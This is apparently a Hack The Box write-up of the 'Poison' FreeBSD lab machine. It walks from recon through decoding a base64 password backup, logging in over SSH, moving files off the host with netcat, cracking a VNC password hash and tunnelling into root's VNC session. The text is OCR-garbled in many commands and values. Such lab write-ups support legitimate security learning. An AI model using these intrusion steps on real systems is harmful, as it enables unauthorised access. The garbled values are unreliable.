Poison Machine (Hack The Box)

Target IP: 10.10.10.84
Target OS: FreeBSD

1. Recon
As usually, we start with the nmap to see open ports:

blinder@peaky:~/Desktop/HTB/Poison$ nmap -v -A 10.10.10.84 -oN nmap.txt
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.9)

80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
Service Info: 0S: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Let’s check port 80 first.

Kali Tools shodan @ Hack The Box . Proxy * netsecfocus WPCyberChef

Temporary website to test local .php scripts.

Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php
Scriptname:

After enumerating the website, 1istfiles.php had an interesting output:

http://10.10.1...listfiles.php x  +

€ G
odan = Hack The Box #x Proxy ( netsecfocus WFCyberChef

Array ( [0] => .[1] => ..[2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )




2. Owning User
Let’s check pwdbackup. txt file:

http://10.10..wdbackup.txt * <+

€

Kali Tools % Shodan = Hack The Box *xProxy | 'netsecfocus WFCyberChef

This password is secure, it's encoded atleast 13 times.. what could go wrong really..

VmOwd2QyUX1VWGxWVOd4AWF LURNdVR1pzWkZ0alJsWjBUV1pPVOZKc2JETLhhMkOxVmpKS1IySkvU
bGhoTVVWVVZtcEdZVO15U2 tWVQpiR2hvVFZWd1ZWWnR jRWRUTWXKSVZ tdGtXQXBpUm5CUFdWZDBS
bVZHV255alJYULVUV1UxU1ZadGRGZFZaMoIwVmxad 1dWWnRNVFJqCk1EQjRXalp rwVZKR1INSVIVW
M040VGtaa2NtRkdaR2hWVOVKVVdXeGFTMVZHWkZoT1ZGS1RDazFFUWpSVO1qVIRZVEZLYzJ0SVRs
WmkKVOdoN1ZHeGFZVK5IVWt sVWIXaFdWMFZLV1ZKWGYHRIRNDEYOV] I1U2EXSXdXbUZEYkZwelYy
eGIXROVAYOhKWFZs cExVakZPZEZKcwpaR2dLWVRCWk1GWkhkROZaVms IR1IRsWmtZVk15YUZKVO1G
WkxWbFp rVOdwWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRV1Y cEd 1VmxyC1VsTLdNREZ4Vm1ONFYw
MXVUak5hVm1SSFVqR1djd3BqUjJOTFZXMDFRMkL4Wkh0YVIGSThUV3hLUjFScldtdFpWa2wlWvVa
T1YwWMUCKV2t4V2IGcHIWMGRXUOASSGI FNWLSWEEYVmpKMFLXRXhXb1ITVOhCV1ltczFSVmxzVm5k
WFJsbDVDbVIIT1ZKTLIFW]RWbTEWTkZkRwpXbk5qUlhoV11XdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJ1iV1p6VjI1U2FsSThVbGRVVmxwe LIRrWlp LVTVWT1ZwV2EydzFXV1ZhCmExWXdNVWNLY 10
NFYySkdjR2hhU1ZWNFZsWkdkR1JGT 1doTmJtTjNWbXBLTUdJeFVYaGLSbVIWWVRKb1YxbHIWVEZT
Vml4elZteHcKVG1KR2NEQkRiV1pJVDFaa2FWW11Ra3BYVmxadlpER1pkd3BOVOVaVF1rZG9hR1Zz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmIFWTBWakowVj FVeVNraFZiRnBW
VmpOUBOxcFh1RmRYUjFaSFd rWldhVkpZUW1GV2EyUXdDazVHU2tkalJGhEXWRLZTCmMxSkdjRFp0
Ukd4RVdub3dPVU5uUFQwSwo=

Fair enough, let’s fire up our Papa Luigi a.k.a. CyberChef (https://gchg.qgithub.io/CyberChef/) for
interactive encoding/decoding. We use From Base64 since the “=" sign at the end of the string
lets us know it’s Base64 encoded text.

Recipe Input

VmBwd 20y UX VWGV Bd4WFLURNAVR1 pzWkZ0a1JsWj BUVLpPVOZKC2 JETLhhMKOxVmpKS 1TySKVU
bGhaTVVWVYZ ECEdZVE15U2 tWVQpiR2hvVFZWd 1ZWWnR | RWRUTWXKSVZ tdG EXQXBpUNSCUF dWZDBS
Alphabet  A-Za-z0-9+/= l bVZHV255a1IYULVUVUXU1ZadGRGZFZaMeIvVmxad 1dwWnRHVFIqCk 1EQ] RXa1p rWvZKR1NSV LW

MB4BVGtaa2NtRkdaR2hWVOVKVVdXeGFTMVZHWKZoT1 ZGS LRDaz FFUWpSVE 1qVIRZVEZLYZ JOSVRs
WmkKVOdoN1 ZHeGFZVKS VWt sVWIXaFdWMFZLV 1 ZKWGVHR 1 RNDEYOV] T1U2EXSXdXbUZEYkZwel Yy
£GIXREVAYORKWFZS CExVakzZPZEZK cvipaR2dLWVRCWK LGWkhkROZaVms IRIRSWMtZVKL5YUZKVE1G
WkxWbFp rVedWSFIsUKSWbkIZVmpKMGEXWNRSWHBWYMEKRV LY CEd1VmxyC1VsTLdNREZ4VN1ONF Yw

From Base64 2

Remove non-alphabet chars [

From Base64 2 MXVUakshVm1SSFVqRLd j d3BqUj JOTFZXMDFRMKL4WkhOYVIGSLhUV3hLU] FScldtdFpWa2wlnvVa
T1YWMUCKV2t4V2IGcHIWMGRXUBdSSGIFNWL SWEEYVmpKMF LXRXhXb1ITVEhCV11tczFSVmxzVmsk
Alphabet | A-Za-20-9+/= l WFIsbDVDbVITT1ZKTLIFW] RAbTEWTkZkRupXbkSqULhoV 11 XdGFVRmi2UmxkanQzQ1 hZa2RPVEZk
WGRHOVI1V1p6Vj T1U2F5SThVbGRVVMxwWe RAWLPLYTVIT 12wV2Eydz FXV1 ZRCMEXWXANVWNLY 10
Remove non-alphabet chars @l NFYySkdjR2hhU1ZWNFZsWkdKR1IGT LdoTmI T NWbXBLTUEIeFVYaGLSbVIWWVRKD1YxbHIWVEZT
time: 16ms
From Base64 @ Output lfrg(l‘: 1% @jSavelUMe {7 Copy output
ines:
Alphabet  A-Za-z0-9+/= l Charix!2#4%6&8 (0

Remove non-alphabet chars @

From Base64 2

Alphabet  A-Za-z0-9+/= l

Remove non-alphabet chars [

We decode until output makes sense, which in this case was: Charix!2#4%6&8 (0. Since SSH was
the only running service besides HTTP, this could probably be the SSH password. Let’s try
connecting, and let’s try using charix as username.


https://gchq.github.io/CyberChef/

:~/Desktop/HTB/Poison$ ssh charix@l0.10.10.84
Password for charix@Poison:
Last login: Fri Jun 1 03:51:10 2018 from 10.10.14.13
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/

ecurity Advisories: https://www.FreeBSD.org/security/

FreeBSD Handbook: https://www.FreeBSD.org/handbook/

FreeBSD FAQ: https://www.FreeBSD.org/faq/

Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums: https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
lirectory, or can be installed later with: pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

how the version of FreeBSD installed: freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier

Edit /etc/motd to change this login announcement.

o see the last time that you logged in, use lastlogin(8).
-- Dru <genesis@istar.ca>

charix@Poison:~ %

User owned, now let’s move on to owning the system.

First, we check the content of home directory of charix:

@Poison:~ % 1s

LinEnum. sh secret.zip user.txt

Unfortunately, I could not unzip secret. zip directly because the shell didn’t offer user interaction
to type a password. So, first, I moved it into my Kali Linux machine using netcat:

In the remote machine:

charix@Poison:~ % nc -1 8181 < secret.zip

In my own machine:

blinder@peaky:~$ nc 10.10.10.84 8181 > secret.zip

Now we have secret.zip in the directory we ran nc from. To unzip, | first tried the same
password as the SSH one (Charix!2#4%68&8 (@) before brute forcing anything, and it worked.



:~/Desktop/HTB/Poison$ nc 10.10.10.84 8181 > secret.zip
L2

:~/Desktop/HTB/Poison$ s

nmap . txt
:~/Desktop/HTB/Poison$ unzip secret.zip
Archive: secret.zip
[secret.zip] secret password:
extracting: secret
:~/Desktop/HTB/Poison$ 1s
nmap.txt secret
:~/Desktop/HTB/Poison$ cat secret
o6 | dz! :~/Desktop/HTB/Poison$ [

After unzipping, we retrieve a file called secret, which has gibberish content inside it. Let’s run
the following command to see the content in hex format:

blinder@peaky:~$ hexdump -C secret

:~/Desktop/HTB/Poison$ hexdump -C secret
bd a8 5b 7c d5 96 7a 21

ofefelelele[o}s
So, now we have this hex value which makes sense from the dump: bdag5b7cd5967a21.

We have no idea what it is, but we will save the value as it may come handy later. In other words,
we continue enumerating.

One of the first things | checked is running services as root, by running ps -aux | grep root
(one of many Linux enumerating commands). Output:

10500
56320
57812
85228
99172
85228
20636
85228
12592
85228
84012
61264
84012
84012
84012
23620

/usr/sbin/syslogd -s
/usr/local/bin/vmtoolsd -c /usr/local/share/vmware-tools/tools.conf
/usr/sbin/sshd
SS charix [priv] (sshd)
/sbin/httpd -DNOHTTPACCEPT
2 sshd: charix [priv] (sshd)
sendmail: accepting connections (sendmail)
sshd: charix [priv] (sshd)
bin/cron -s
¢ charix [priv] (sshd)
: root [priv] (sshd)
: root [net] (sshd)
: charix [priv] (ss
: root [pam] (sshd)
sshd:_charix [pam]l _(sshd)
Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /r
xterm -geometry 80x24+10+10 -ls -title X Desktop
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Of all running services, Xvnc looked the juiciest one. But what is VNC?

In short, it is a teamviewer-like software to remotely control another computer. Therefore, | started
researching about the service, in which this article www.hep.phy.cam.ac.uk/vnc_docs/start.html
helped a lot.

| checked anything starting with vnc that was installed in the machine and listening ports by
running sockstat:

harix@Poison:~ % vnc
ncpasswd vncserver
harix@Poison:~ % sockstat | grep vnc
Xvnc 529 stream /tmp/.X11-unix/X1

Xvnc 529 tcpd 127.0.0.1:5901
Xvnc 529 tcpd 127.0.0.1:5801
Xvnc 529 stream /tmp/.X11-unix/X1
Xvnc 529 stream /tmp/.X11-unix/X1

To get access to that running service, | had to run a viewer, which in Unix is done with vncviewer
(was not installed in Poison machine).

Back in Kali Linux, | tried connection to the viewer that root had initialized, but the service was
available locally only. This means that | had to use SSH Port Forwarding (SSH Tunneling).

SSH has this cool feature (-L flag) that we can request SSH to listen on a particular port on our
machine and forward the traffic to a port on another machine.

blinder@peaky~:$ ssh -L 5902:1localhost:5901 charix@10.10.10.84

The above command starts an SSH connection to charix, but also makes my system listen on
port 5902, and forward any connection to 5901 (based in sockstat). By default, VNC protocol
uses port 59XX, where XX is the display number of the server (in this case, display 01).

After establishing the new SSH connection, we check for listening ports in our machine to verify:

blinder@peaky:~$ netstat -punta | grep 5902

:~/Desktop/HTB/Poison$ netstat -punta | grep
(Not all pro > could be identified, non-owned pr

will not be shown, you would have to be root to
tep 0 0 127 : 0.0. K LISTEN
tcpb 0 0 ::1:5902 REBs LISTEN

Now, instead of using vncviewer :1 we can run vncviewer :2 to launch the viewer and try to
access the service that root started, only to see that it requires authentication (not surprising):

Password:



http://www.hep.phy.cam.ac.uk/vnc_docs/start.html

Charix!2#4%6&8(@ did not work, so we should get back to our hex value that we saw earlier:
bda85b7cd5967a21. When doing more research, | learned that VNC uses VNC Hash to authenticate
to the remote-control server, and our hex value might as well be a VNC Hash.

| searched for ways to decrypt VNC Server encrypted password, and found a windows executable
file which can decrypt classic VNC DES method:

https://www.raymond.cc/blog/download/did/232/

Its usage is simple: vncpwd.exe <hash>

:~/Desktop/Malware/vncpwd$ wine vncpwd.exe bda85b7cd5967a2l1

*VNC password decoder 0.2

by Luigi Auriemma

e-mail: aluigi@autistici.org
web: aluigi.org

- your input password seems in hex format (or longer than 8 chars)
Password: VNCP@$$!

Press RETURN to exit

We now can run vncviewer and authenticate:

:~/Desktop/HTB/Poison$ vncviewer :2

onnected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password:

uthentication successful
Desktop name "root's X desktop (Poison:1)"

NC server default format:

32 bits per pixel.

Least significant byte first in each pixel.

True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
sing default colormap which is TrueColor. Pixel format:

32 bits per pixel.

Least significant byte first in each pixel.

True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
ame machine: preferring raw encoding



https://www.raymond.cc/blog/download/did/232/

A viewer is formed, and we are in as root!

TightVNC: root's X desktop (Poison:1)

We get the flag with the same netcat method.

rootEPoizon:™ # ls

SHauthority kBloain Fhd Liminfio
czhro Llogin L2zh NG
history profile Loim root,txt

rootidPoizon:™ # no -1 8181 < root,txt




